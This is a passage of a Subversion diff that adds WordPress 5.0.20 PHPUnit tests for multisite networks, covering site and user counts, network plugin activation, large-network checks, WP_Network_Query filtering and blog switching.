+			array( 'domain' => 'wordpress.org', 'path' => '/bar/', 'site_id' => self::$different_network_id ),
+		);
+
+		foreach ( $sites as $site ) {
+			self::$different_site_ids[] = $factory->blog->create( $site );
+		}
+	}
+
+	public static function wpTearDownAfterClass() {
+		global $wpdb;
+
+		foreach( self::$different_site_ids as $id ) {
+			wpmu_delete_blog( $id, true );
+		}
+
+		$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->sitemeta} WHERE site_id = %d", self::$different_network_id ) );
+		$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->site} WHERE id= %d", self::$different_network_id ) );
+
+		wp_update_network_site_counts();
+	}
+
+	/**
+	 * By default, only one network exists and has a network ID of 1.
+	 */
+	function test_get_main_network_id_default() {
+		$this->assertEquals( 1, get_main_network_id() );
+	}
+
+	/**
+	 * If a second network is created, network ID 1 should still be returned
+	 * as the main network ID.
+	 */
+	function test_get_main_network_id_two_networks() {
+		self::factory()->network->create();
+
+		$this->assertEquals( 1, get_main_network_id() );
+	}
+
+	/**
+	 * When the `$current_site` global is populated with another network, the
+	 * main network should still return as 1.
+	 */
+	function test_get_main_network_id_after_network_switch() {
+		global $current_site;
+
+		$id = self::factory()->network->create();
+
+		$current_site->id = (int) $id;
+
+		$this->assertEquals( 1, get_main_network_id() );
+	}
+
+	/**
+	 * When the first network is removed, the next should return as the main
+	 * network ID.
+	 *
+	 * @todo In the future, we'll have a smarter way of deleting a network. For now,
+	 * fake the process with UPDATE queries.
+	 */
+	function test_get_main_network_id_after_network_delete() {
+		global $wpdb, $current_site;
+
+		$temp_id = self::$different_network_id + 1;
+
+		$current_site->id = (int) self::$different_network_id;
+		$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->site} SET id=%d WHERE id=1", $temp_id ) );
+		$main_network_id = get_main_network_id();
+		$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->site} SET id=1 WHERE id=%d", $temp_id ) );
+
+		$this->assertEquals( self::$different_network_id, $main_network_id );
+	}
+
+	function test_get_main_network_id_filtered() {
+		add_filter( 'get_main_network_id', array( $this, '_get_main_network_id' ) );
+		$this->assertEquals( 3, get_main_network_id() );
+		remove_filter( 'get_main_network_id', array( $this, '_get_main_network_id' ) );
+	}
+
+	function _get_main_network_id() {
+		return 3;
+	}
+
+	/**
+	 * @ticket 37050
+	 */
+	function test_wp_network_object_id_property_is_int() {
+		$id = self::factory()->network->create();
+
+		$network = WP_Network::get_instance( $id );
+
+		$this->assertSame( (int) $id, $network->id );
+	}
+
+	/**
+	 * @ticket 22917
+	 */
+	public function test_get_blog_count_no_filter_applied() {
+		wp_update_network_counts();
+		$site_count_start = get_blog_count();
+
+		$site_ids = self::factory()->blog->create_many( 1 );
+		$actual = (int) get_blog_count(); // count only updated when cron runs, so unchanged
+
+		foreach ( $site_ids as $site_id ) {
+			wpmu_delete_blog( $site_id, true );
+		}
+		wp_update_network_counts();
+
+		$this->assertEquals( $site_count_start + 1, $actual );
+	}
+
+	/**
+	 * @ticket 22917
+	 */
+	public function test_get_blog_count_enable_live_network_counts_false() {
+		wp_update_network_counts();
+		$site_count_start = get_blog_count();
+
+		add_filter( 'enable_live_network_counts', '__return_false' );
+		$site_ids = self::factory()->blog->create_many( 1 );
+		$actual = (int) get_blog_count(); // count only updated when cron runs, so unchanged
+		remove_filter( 'enable_live_network_counts', '__return_false' );
+
+		foreach ( $site_ids as $site_id ) {
+			wpmu_delete_blog( $site_id, true );
+		}
+		wp_update_network_counts();
+
+		$this->assertEquals( $site_count_start, $actual );
+	}
+
+	/**
+	 * @ticket 22917
+	 */
+	public function test_get_blog_count_enabled_live_network_counts_true() {
+		wp_update_network_counts();
+		$site_count_start = get_blog_count();
+
+		add_filter( 'enable_live_network_counts', '__return_true' );
+		$site_ids = self::factory()->blog->create_many( 1 );
+		$actual = get_blog_count();
+		remove_filter( 'enable_live_network_counts', '__return_true' );
+
+		foreach ( $site_ids as $site_id ) {
+			wpmu_delete_blog( $site_id, true );
+		}
+		wp_update_network_counts();
+
+		$this->assertEquals( $site_count_start + 1, $actual );
+	}
+
+	/**
+	 * @ticket 37865
+	 */
+	public function test_get_blog_count_on_different_network() {
+		wp_update_network_site_counts( self::$different_network_id );
+
+		$site_count = get_blog_count( self::$different_network_id );
+
+		$this->assertEquals( count( self::$different_site_ids ), $site_count );
+	}
+
+	/**
+	 * @ticket 37866
+	 */
+	public function test_get_user_count_on_different_network() {
+		wp_update_network_user_counts();
+		$current_network_user_count = get_user_count();
+
+		// Add another user to fake the network user count to be different.
+		wpmu_create_user( 'user', 'pass', 'email' );
+
+		wp_update_network_user_counts( self::$different_network_id );
+
+		$user_count = get_user_count( self::$different_network_id );
+
+		$this->assertEquals( $current_network_user_count + 1, $user_count );
+	}
+
+	/**
+	 * @ticket 22917
+	 */
+	function test_enable_live_network_user_counts_filter() {
+		// false for large networks by default
+		add_filter( 'enable_live_network_counts', '__return_false' );
+
+		// Refresh the cache
+		wp_update_network_counts();
+		$start_count = get_user_count();
+
+		wpmu_create_user( 'user', 'pass', 'email' );
+
+		// No change, cache not refreshed
+		$count = get_user_count();
+
+		$this->assertEquals( $start_count, $count );
+
+		wp_update_network_counts();
+		$start_count = get_user_count();
+
+		add_filter( 'enable_live_network_counts', '__return_true' );
+
+		wpmu_create_user( 'user2', 'pass2', 'email2' );
+
+		$count = get_user_count();
+		$this->assertEquals( $start_count + 1, $count );
+
+		remove_filter( 'enable_live_network_counts', '__return_false' );
+		remove_filter( 'enable_live_network_counts', '__return_true' );
+	}
+
+	function test_active_network_plugins() {
+		$path = "hello.php";
+
+		// local activate, should be invisible for the network
+		activate_plugin($path); // $network_wide = false
+		$active_plugins = wp_get_active_network_plugins();
+		$this->assertEquals( Array(), $active_plugins );
+
+		add_action( 'deactivated_plugin', array( $this, '_helper_deactivate_hook' ) );
+
+		// activate the plugin sitewide
+		activate_plugin($path, '', $network_wide = true);
+		$active_plugins = wp_get_active_network_plugins();
+		$this->assertEquals( Array(WP_PLUGIN_DIR . '/hello.php'), $active_plugins );
+
+		//deactivate the plugin
+		deactivate_plugins($path);
+		$active_plugins = wp_get_active_network_plugins();
+		$this->assertEquals( Array(), $active_plugins );
+
+		$this->assertEquals( 1, $this->plugin_hook_count ); // testing actions and silent mode
+
+		activate_plugin($path, '', $network_wide = true);
+		deactivate_plugins($path, true); // silent
+
+		$this->assertEquals( 1, $this->plugin_hook_count ); // testing actions and silent mode
+	}
+
+	/**
+	 * @ticket 28651
+	 */
+	function test_duplicate_network_active_plugin() {
+		$path = "hello.php";
+		$mock = new MockAction();
+		add_action( 'activate_' . $path, array ( $mock, 'action' ) );
+
+		// should activate on the first try
+		activate_plugin( $path, '', true );
+		$active_plugins = wp_get_active_network_plugins();
+		$this->assertCount( 1, $active_plugins );
+		$this->assertEquals( 1, $mock->get_call_count() );
+
+		// should do nothing on the second try
+		activate_plugin( $path, '', true );
+		$active_plugins = wp_get_active_network_plugins();
+		$this->assertCount( 1, $active_plugins );
+		$this->assertEquals( 1, $mock->get_call_count() );
+
+		remove_action( 'activate_' . $path, array ( $mock, 'action' ) );
+	}
+
+	function test_is_plugin_active_for_network_true() {
+		activate_plugin( 'hello.php', '', true );
+		$this->assertTrue( is_plugin_active_for_network( 'hello.php' ) );
+	}
+
+	function test_is_plugin_active_for_network_false() {
+		deactivate_plugins( 'hello.php', false, true );
+		$this->assertFalse( is_plugin_active_for_network( 'hello.php' ) );
+	}
+
+	function _helper_deactivate_hook() {
+		$this->plugin_hook_count++;
+	}
+
+	function test_get_user_count() {
+		// Refresh the cache
+		wp_update_network_counts();
+		$start_count = get_user_count();
+
+		// Only false for large networks as of 3.7
+		add_filter( 'enable_live_network_counts', '__return_false' );
+		self::factory()->user->create( array( 'role' => 'administrator' ) );
+
+		$count = get_user_count(); // No change, cache not refreshed
+		$this->assertEquals( $start_count, $count );
+
+		wp_update_network_counts(); // Magic happens here
+
+		$count = get_user_count();
+		$this->assertEquals( $start_count + 1, $count );
+		remove_filter( 'enable_live_network_counts', '__return_false' );
+	}
+
+	function test_wp_schedule_update_network_counts() {
+		$this->assertFalse(wp_next_scheduled('update_network_counts'));
+
+		// We can't use wp_schedule_update_network_counts() because WP_INSTALLING is set
+		wp_schedule_event(time(), 'twicedaily', 'update_network_counts');
+
+		$this->assertInternalType('int', wp_next_scheduled('update_network_counts'));
+	}
+
+	/**
+	 * @expectedDeprecated get_dashboard_blog
+	 */
+	function test_get_dashboard_blog() {
+		// if there is no dashboard blog set, current blog is used
+		$dashboard_blog = get_dashboard_blog();
+		$this->assertEquals( 1, $dashboard_blog->blog_id );
+
+		$user_id = self::factory()->user->create( array( 'role' => 'administrator' ) );
+		$blog_id = self::factory()->blog->create( array( 'user_id' => $user_id ) );
+		$this->assertInternalType( 'int', $blog_id );
+
+		// set the dashboard blog to another one
+		update_site_option( 'dashboard_blog', $blog_id );
+		$dashboard_blog = get_dashboard_blog();
+		$this->assertEquals( $blog_id, $dashboard_blog->blog_id );
+	}
+
+	/**
+	 * @ticket 37528
+	 */
+	function test_wp_update_network_site_counts() {
+		update_network_option( null, 'blog_count', 40 );
+
+		$expected = get_sites( array(
+			'network_id' => get_current_network_id(),
+			'spam'       => 0,
+			'deleted'    => 0,
+			'archived'   => 0,
+			'count'      => true,
+		) );
+
+		wp_update_network_site_counts();
+
+		$result = get_blog_count();
+		$this->assertEquals( $expected, $result );
+	}
+
+	/**
+	 * @ticket 37528
+	 */
+	function test_wp_update_network_site_counts_on_different_network() {
+		update_network_option( self::$different_network_id, 'blog_count', 40 );
+
+		wp_update_network_site_counts( self::$different_network_id );
+
+		$result = get_blog_count( self::$different_network_id );
+		$this->assertEquals( 3, $result );
+	}
+
+	/**
+	 * @ticket 40349
+	 */
+	public function test_wp_update_network_user_counts() {
+		global $wpdb;
+
+		update_network_option( null, 'user_count', 40 );
+
+		$expected = $wpdb->get_var( "SELECT COUNT(ID) as c FROM $wpdb->users WHERE spam = '0' AND deleted = '0'" );
+
+		wp_update_network_user_counts();
+
+		$result = get_user_count();
+		$this->assertEquals( $expected, $result );
+	}
+
+	/**
+	 * @ticket 40349
+	 */
+	public function test_wp_update_network_user_counts_on_different_network() {
+		global $wpdb;
+
+		update_network_option( self::$different_network_id, 'user_count', 40 );
+
+		$expected = $wpdb->get_var( "SELECT COUNT(ID) as c FROM $wpdb->users WHERE spam = '0' AND deleted = '0'" );
+
+		wp_update_network_user_counts( self::$different_network_id );
+
+		$result = get_user_count( self::$different_network_id );
+		$this->assertEquals( $expected, $result );
+	}
+
+	/**
+	 * @ticket 40386
+	 */
+	public function test_wp_update_network_counts() {
+		delete_network_option( null, 'blog_count' );
+		delete_network_option( null, 'user_count' );
+
+		wp_update_network_counts();
+
+		$site_count = (int) get_blog_count();
+		$user_count = (int) get_user_count();
+
+		$this->assertTrue( $site_count > 0 && $user_count > 0 );
+	}
+
+	/**
+	 * @ticket 40386
+	 */
+	public function test_wp_update_network_counts_on_different_network() {
+		delete_network_option( self::$different_network_id, 'blog_count' );
+		delete_network_option( self::$different_network_id, 'user_count' );
+
+		wp_update_network_counts( self::$different_network_id );
+
+		$site_count = (int) get_blog_count( self::$different_network_id );
+		$user_count = (int) get_user_count( self::$different_network_id );
+
+		$this->assertTrue( $site_count > 0 && $user_count > 0 );
+	}
+
+	/**
+	 * @ticket 40489
+	 * @dataProvider data_wp_is_large_network
+	 */
+	public function test_wp_is_large_network( $using, $count, $expected, $different_network ) {
+		$network_id = $different_network ? self::$different_network_id : null;
+		$network_option = 'users' === $using ? 'user_count' : 'blog_count';
+
+		update_network_option( $network_id, $network_option, $count );
+
+		$result = wp_is_large_network( $using, $network_id );
+		if ( $expected ) {
+			$this->assertTrue( $result );
+		} else {
+			$this->assertFalse( $result );
+		}
+	}
+
+	public function data_wp_is_large_network() {
+		return array(
+			array( 'sites', 10000, false, false ),
+			array( 'sites', 10001, true, false ),
+			array( 'users', 10000, false, false ),
+			array( 'users', 10001, true, false ),
+			array( 'sites', 10000, false, true ),
+			array( 'sites', 10001, true, true ),
+			array( 'users', 10000, false, true ),
+			array( 'users', 10001, true, true ),
+		);
+	}
+
+	/**
+	 * @ticket 40489
+	 * @dataProvider data_wp_is_large_network_filtered_by_component
+	 */
+	public function test_wp_is_large_network_filtered_by_component( $using, $count, $expected, $different_network ) {
+		$network_id = $different_network ? self::$different_network_id : null;
+		$network_option = 'users' === $using ? 'user_count' : 'blog_count';
+
+		update_network_option( $network_id, $network_option, $count );
+
+		add_filter( 'wp_is_large_network', array( $this, 'filter_wp_is_large_network_for_users' ), 10, 3 );
+		$result = wp_is_large_network( $using, $network_id );
+		remove_filter( 'wp_is_large_network', array( $this, 'filter_wp_is_large_network_for_users' ), 10 );
+
+		if ( $expected ) {
+			$this->assertTrue( $result );
+		} else {
+			$this->assertFalse( $result );
+		}
+	}
+
+	public function data_wp_is_large_network_filtered_by_component() {
+		return array(
+			array( 'sites', 10000, false, false ),
+			array( 'sites', 10001, true, false ),
+			array( 'users', 1000, false, false ),
+			array( 'users', 1001, true, false ),
+			array( 'sites', 10000, false, true ),
+			array( 'sites', 10001, true, true ),
+			array( 'users', 1000, false, true ),
+			array( 'users', 1001, true, true ),
+		);
+	}
+
+	public function filter_wp_is_large_network_for_users( $is_large_network, $using, $count ) {
+		if ( 'users' === $using ) {
+			return $count > 1000;
+		}
+
+		return $is_large_network;
+	}
+
+	/**
+	 * @ticket 40489
+	 * @dataProvider data_wp_is_large_network_filtered_by_network
+	 */
+	public function test_wp_is_large_network_filtered_by_network( $using, $count, $expected, $different_network ) {
+		$network_id = $different_network ? self::$different_network_id : null;
+		$network_option = 'users' === $using ? 'user_count' : 'blog_count';
+
+		update_network_option( $network_id, $network_option, $count );
+
+		add_filter( 'wp_is_large_network', array( $this, 'filter_wp_is_large_network_on_different_network' ), 10, 4 );
+		$result = wp_is_large_network( $using, $network_id );
+		remove_filter( 'wp_is_large_network', array( $this, 'filter_wp_is_large_network_on_different_network' ), 10 );
+
+		if ( $expected ) {
+			$this->assertTrue( $result );
+		} else {
+			$this->assertFalse( $result );
+		}
+	}
+
+	public function data_wp_is_large_network_filtered_by_network() {
+		return array(
+			array( 'sites', 10000, false, false ),
+			array( 'sites', 10001, true, false ),
+			array( 'users', 10000, false, false ),
+			array( 'users', 10001, true, false ),
+			array( 'sites', 1000, false, true ),
+			array( 'sites', 1001, true, true ),
+			array( 'users', 1000, false, true ),
+			array( 'users', 1001, true, true ),
+		);
+	}
+
+	public function filter_wp_is_large_network_on_different_network( $is_large_network, $using, $count, $network_id ) {
+		if ( $network_id === (int) self::$different_network_id ) {
+			return $count > 1000;
+		}
+
+		return $is_large_network;
+	}
+
+	/**
+	 * @ticket 38699
+	 */
+	public function test_wpmu_create_blog_updates_correct_network_site_count() {
+		$original_count = get_blog_count( self::$different_network_id );
+
+		$site_id = self::factory()->blog->create( array(
+			'domain'  => 'example.org',
+			'path'    => '/',
+			'site_id' => self::$different_network_id,
+		) );
+
+		$result = get_blog_count( self::$different_network_id );
+
+		wpmu_delete_blog( $site_id, true );
+
+		$this->assertEquals( $original_count + 1, $result );
+	}
+
+	/**
+	 * @ticket 29684
+	 */
+	public function test_network_blog_id_set() {
+		$network = get_network( self::$different_network_id );
+
+		$this->assertSame( (string) self::$different_site_ids[0], $network->blog_id );
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/networkQuery.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/networkQuery.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/networkQuery.php	(revision 56912)
@@ -0,0 +1,457 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Test network query functionality in multisite.
+ *
+ * @group ms-network
+ * @group ms-network-query
+ * @group multisite
+ */
+class Tests_Multisite_Network_Query extends WP_UnitTestCase {
+	protected static $network_ids;
+
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+	}
+
+	function tearDown() {
+		global $wpdb;
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$network_ids = array(
+			'wordpress.org/'         => array( 'domain' => 'wordpress.org',      'path' => '/' ),
+			'make.wordpress.org/'    => array( 'domain' => 'make.wordpress.org', 'path' => '/' ),
+			'www.wordpress.net/'     => array( 'domain' => 'www.wordpress.net',  'path' => '/' ),
+			'www.w.org/foo/'         => array( 'domain' => 'www.w.org',          'path' => '/foo/' ),
+		);
+
+		foreach ( self::$network_ids as &$id ) {
+			$id = $factory->network->create( $id );
+		}
+		unset( $id );
+	}
+
+	public static function wpTearDownAfterClass() {
+		global $wpdb;
+
+		foreach( self::$network_ids as $id ) {
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->sitemeta} WHERE site_id = %d", $id ) );
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->site} WHERE id= %d", $id ) );
+		}
+	}
+
+	public function test_wp_network_query_by_number() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'   => 'ids',
+			'number'   => 3,
+		) );
+
+		$this->assertEquals( 3, count( $found ) );
+	}
+
+	public function test_wp_network_query_by_network__in_with_order() {
+		$expected = array( self::$network_ids['wordpress.org/'], self::$network_ids['make.wordpress.org/'] );
+
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'      => 'ids',
+			'network__in' => $expected,
+			'order'       => 'ASC',
+		) );
+
+		$this->assertEquals( $expected, $found );
+
+		$found = $q->query( array(
+			'fields'      => 'ids',
+			'network__in' => $expected,
+			'order'       => 'DESC',
+		) );
+
+		$this->assertEquals( array_reverse( $expected ), $found );
+	}
+
+	public function test_wp_network_query_by_network__in_with_single_id() {
+		$expected = array( self::$network_ids['wordpress.org/'] );
+
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'      => 'ids',
+			'network__in' => $expected,
+		) );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_network__in_with_multiple_ids() {
+		$expected = array( self::$network_ids['wordpress.org/'], self::$network_ids['www.wordpress.net/'] );
+
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'      => 'ids',
+			'network__in' => $expected,
+		) );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_network__in_and_count_with_multiple_ids() {
+		$expected = array( self::$network_ids['wordpress.org/'], self::$network_ids['make.wordpress.org/'] );
+
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'      => 'ids',
+			'count'       => true,
+			'network__in' => $expected,
+		) );
+
+		$this->assertEquals( 2, $found );
+	}
+
+	public function test_wp_network_query_by_network__not_in_with_single_id() {
+		$excluded = array( self::$network_ids['wordpress.org/'] );
+		$expected = array_diff( self::$network_ids, $excluded );
+
+		// Exclude main network since we don't have control over it here.
+		$excluded[] = 1;
+
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'          => 'ids',
+			'network__not_in' => $excluded,
+		) );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_network__not_in_with_multiple_ids() {
+		$excluded = array( self::$network_ids['wordpress.org/'], self::$network_ids['www.w.org/foo/'] );
+		$expected = array_diff( self::$network_ids, $excluded );
+
+		// Exclude main network since we don't have control over it here.
+		$excluded[] = 1;
+
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'          => 'ids',
+			'network__not_in' => $excluded,
+		) );
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_domain() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'domain'       => 'www.w.org',
+		) );
+
+		$expected = array(
+			self::$network_ids['www.w.org/foo/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_domain__in_with_single_domain() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'     => 'ids',
+			'domain__in' => array( 'make.wordpress.org' ),
+		));
+
+		$expected = array(
+			self::$network_ids['make.wordpress.org/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_domain__in_with_multiple_domains() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'     => 'ids',
+			'domain__in' => array( 'wordpress.org', 'make.wordpress.org' ),
+		));
+
+		$expected = array(
+			self::$network_ids['wordpress.org/'],
+			self::$network_ids['make.wordpress.org/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_domain__in_with_multiple_domains_and_number() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'     => 'ids',
+			'number'     => 1,
+			'domain__in' => array( 'wordpress.org', 'make.wordpress.org' ),
+		));
+
+		$expected = array(
+			self::$network_ids['wordpress.org/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_domain__in_with_multiple_domains_and_number_and_offset() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'     => 'ids',
+			'number'     => 1,
+			'offset'     => 1,
+			'domain__in' => array( 'wordpress.org', 'make.wordpress.org' ),
+		));
+
+		$expected = array(
+			self::$network_ids['make.wordpress.org/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_domain__not_in_with_single_domain() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'         => 'ids',
+			'domain__not_in' => array( 'www.w.org' ),
+		));
+
+		$expected = array(
+			get_current_site()->id, // Account for the initial network added by the test suite.
+			self::$network_ids['wordpress.org/'],
+			self::$network_ids['make.wordpress.org/'],
+			self::$network_ids['www.wordpress.net/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_domain__not_in_with_multiple_domains() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'         => 'ids',
+			'domain__not_in' => array( 'wordpress.org', 'www.w.org' ),
+		));
+
+		$expected = array(
+			get_current_site()->id, // Account for the initial network added by the test suite.
+			self::$network_ids['make.wordpress.org/'],
+			self::$network_ids['www.wordpress.net/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_domain__not_in_with_multiple_domains_and_number() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'         => 'ids',
+			'number'         => 2,
+			'domain__not_in' => array( 'wordpress.org', 'www.w.org' ),
+		));
+
+		$expected = array(
+			get_current_site()->id, // Account for the initial network added by the test suite.
+			self::$network_ids['make.wordpress.org/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_domain__not_in_with_multiple_domains_and_number_and_offset() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'         => 'ids',
+			'number'         => 2,
+			'offset'         => 1,
+			'domain__not_in' => array( 'wordpress.org', 'www.w.org' ),
+		));
+
+		$expected = array(
+			self::$network_ids['make.wordpress.org/'],
+			self::$network_ids['www.wordpress.net/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_path_with_expected_results() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'          => 'ids',
+			'path'            => '/',
+			'network__not_in' => get_current_site()->id, // Exclude the initial network added by the test suite.
+		) );
+
+		$expected = array(
+			self::$network_ids['wordpress.org/'],
+			self::$network_ids['make.wordpress.org/'],
+			self::$network_ids['www.wordpress.net/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_path_and_number_and_offset_with_expected_results() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'          => 'ids',
+			'number'          => 1,
+			'offset'          => 2,
+			'path'            => '/',
+			'network__not_in' => get_current_site()->id, // Exclude the initial network added by the test suite.
+		) );
+
+		$expected = array(
+			self::$network_ids['www.wordpress.net/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_path_with_no_expected_results() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'path'         => '/bar/',
+		) );
+
+		$this->assertEmpty( $found );
+	}
+
+	public function test_wp_network_query_by_search_with_text_in_domain() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'search'       => 'ww.word',
+		) );
+
+		$expected = array(
+			self::$network_ids['www.wordpress.net/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_search_with_text_in_path() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'       => 'ids',
+			'search'       => 'foo',
+		) );
+
+		$expected = array(
+			self::$network_ids['www.w.org/foo/'],
+		);
+
+		$this->assertEqualSets( $expected, $found );
+	}
+
+	public function test_wp_network_query_by_path_order_by_domain_desc() {
+		$q = new WP_Network_Query();
+		$found = $q->query( array(
+			'fields'          => 'ids',
+			'path'            => '/',
+			'network__not_in' => get_current_site()->id, // Exclude the initial network added by the test suite.
+			'order'           => 'DESC',
+			'orderby'         => 'domain',
+		) );
+
+		$expected = array(
+			self::$network_ids['www.wordpress.net/'],
+			self::$network_ids['wordpress.org/'],
+			self::$network_ids['make.wordpress.org/'],
+		);
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	/**
+	 * @ticket 41347
+	 */
+	public function test_wp_network_query_cache_with_different_fields_no_count() {
+		global $wpdb;
+
+		$q                 = new WP_Network_Query();
+		$query_1           = $q->query( array(
+			'fields'     => 'all',
+			'number'     => 3,
+			'order'      => 'ASC',
+		) );
+		$number_of_queries = $wpdb->num_queries;
+
+		$query_2 = $q->query( array(
+			'fields'     => 'ids',
+			'number'     => 3,
+			'order'      => 'ASC',
+		) );
+
+		$this->assertEquals( $number_of_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 41347
+	 */
+	public function test_wp_network_query_cache_with_different_fields_active_count() {
+		global $wpdb;
+
+		$q = new WP_Network_Query();
+
+		$query_1           = $q->query( array(
+			'fields'     => 'all',
+			'number'     => 3,
+			'order'      => 'ASC',
+			'count'      => true,
+		) );
+		$number_of_queries = $wpdb->num_queries;
+
+		$query_2 = $q->query( array(
+			'fields'     => 'ids',
+			'number'     => 3,
+			'order'      => 'ASC',
+			'count'      => true,
+		) );
+		$this->assertEquals( $number_of_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 41347
+	 */
+	public function test_wp_network_query_cache_with_same_fields_different_count() {
+		global $wpdb;
+
+		$q = new WP_Network_Query();
+
+		$query_1 = $q->query( array(
+			'fields'     => 'ids',
+			'number'     => 3,
+			'order'      => 'ASC',
+		) );
+
+		$number_of_queries = $wpdb->num_queries;
+
+		$query_2 = $q->query( array(
+			'fields'     => 'ids',
+			'number'     => 3,
+			'order'      => 'ASC',
+			'count'      => true,
+		) );
+		$this->assertEquals( $number_of_queries + 1, $wpdb->num_queries );
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/site.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/site.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/site.php	(revision 56912)
@@ -0,0 +1,1277 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to sites in multisite.
+ *
+ * @group ms-site
+ * @group multisite
+ */
+class Tests_Multisite_Site extends WP_UnitTestCase {
+	protected $suppress = false;
+	protected static $network_ids;
+	protected static $site_ids;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+	}
+
+	function tearDown() {
+		global $wpdb;
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$network_ids = array(
+			'make.wordpress.org/' => array( 'domain' => 'make.wordpress.org', 'path' => '/' ),
+		);
+
+		foreach ( self::$network_ids as &$id ) {
+			$id = $factory->network->create( $id );
+		}
+		unset( $id );
+
+		self::$site_ids = array(
+			'make.wordpress.org/'     => array( 'domain' => 'make.wordpress.org', 'path' => '/',         'site_id' => self::$network_ids['make.wordpress.org/'] ),
+			'make.wordpress.org/foo/' => array( 'domain' => 'make.wordpress.org', 'path' => '/foo/',     'site_id' => self::$network_ids['make.wordpress.org/'] ),
+		);
+
+		foreach ( self::$site_ids as &$id ) {
+			$id = $factory->blog->create( $id );
+		}
+		unset( $id );
+	}
+
+	public static function wpTearDownAfterClass() {
+		global $wpdb;
+
+		foreach( self::$site_ids as $id ) {
+			wpmu_delete_blog( $id, true );
+		}
+
+		foreach( self::$network_ids as $id ) {
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->sitemeta} WHERE site_id = %d", $id ) );
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->site} WHERE id= %d", $id ) );
+		}
+	}
+
+	function test_switch_restore_blog() {
+		global $_wp_switched_stack, $wpdb;
+
+		$this->assertEquals( array(), $_wp_switched_stack );
+		$this->assertFalse( ms_is_switched() );
+		$current_blog_id = get_current_blog_id();
+		$this->assertInternalType( 'integer', $current_blog_id );
+
+		wp_cache_set( 'switch-test', $current_blog_id, 'switch-test' );
+		$this->assertEquals( $current_blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+		$blog_id = self::factory()->blog->create();
+
+		$cap_key = wp_get_current_user()->cap_key;
+		switch_to_blog( $blog_id );
+		$this->assertNotEquals( $cap_key, wp_get_current_user()->cap_key );
